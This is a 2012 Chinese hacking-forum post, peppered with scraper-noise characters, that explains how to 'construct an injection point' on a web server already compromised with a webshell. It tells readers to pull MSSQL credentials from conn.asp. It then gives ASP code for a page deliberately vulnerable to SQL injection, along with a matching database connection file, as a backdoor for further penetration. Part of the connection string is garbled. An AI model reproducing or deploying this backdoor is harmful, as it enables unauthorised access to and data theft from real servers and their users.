找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2252|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
. e  M+ V# J) x! c5 u" a4 L; o
) w9 e  l0 q/ L2 l1 C今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
; y! o2 E1 P- K( C+ q/ H& o$ L) j& z9 _5 ?3 [7 r
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!8 ?9 t+ \' C) t! ^: h. e, Z
; S2 W% `1 M7 t% b- o
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
( q! c# w, l) D( m1 J" a
9 w  ?( G# D2 V; \8 Q密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
; Y: p! Y3 u. M1 U
8 B5 t0 o) K0 g( p因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 @4 a, T& ^( w% M# j/ G

$ x. s2 p1 L# k5 P: a. z* Z) I程序代码/ Q) f5 C- i* B! K) z4 j+ N1 g
<!--#include file="xx.asp"-->
1 N# O9 F' L. v# w* t8 x<%
8 L% P& r$ S8 y& i- s: l4 g2 [, Cset rs=server.createobject("ADODB.recordset")  y; w( H* o  f
id = request("id")6 F" u- d8 o1 n- W7 }6 y
strSQL = "select * from admin where id=" & id
: R  N3 i) S4 vrs.open strSQL,conn,1,3  l; a7 W: r, V  g2 y- ]: Q( F  v
rs.close( _1 }9 Q4 K1 Y& F1 M! F
%>
6 I" T1 H0 ^- f5 _; j: y6 R* |2 _
0 |3 x3 O5 l. Q把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
1 X$ o+ v7 i/ L3 |
# \) u2 c$ ~" {% M你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, H4 u% P- T1 f; z" I( F/ S+ c

) a7 j$ v% v( }+ k2 X, G: A然后就要构造一个连接数据库的文件了,代码如下:# Y5 ]  y0 _. s8 Z4 Q, C/ j
程序代码
  l" I+ `: \' G, M* r: v4 F<%        : Y: c/ G- c9 F$ B  L( D! I
strSQLServerName = "000.000.000.000"     '服务器名称或地址" i4 L5 e0 ^9 n) N2 V- l
strSQLDBUserName = "sqlname"         '数据库帐号
/ e& U+ d8 C- {" Q% estrSQLDBPassword = "sqlpass"         '数据库密码, C! k# M& R1 k3 `% t
strSQLDBName = "sqldataname"           '数据库名称
5 g- C* O8 G, ~$ A. }# rSet conn = Server.CreateObject("ADODB.Connection")' N( ?, q; F' i# U, i6 s
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
# q; ^6 y, B' M$ u5 h( z, Zconn.open strCon
7 {# H; E0 o; W1 d% o. k7 D: p%>1 V! y# W) {5 Y

4 H  ]$ f& D$ K4 C: S3 `) R这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
% p6 c2 q* ~! C2 p" `% j4 G; O9 K; V+ }* u  @7 f' a8 U
就这样,正常情况下,就OK了,伪造成功……- H0 U! K. P) O' E7 l: J
0 d. v  c6 |$ K( W
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表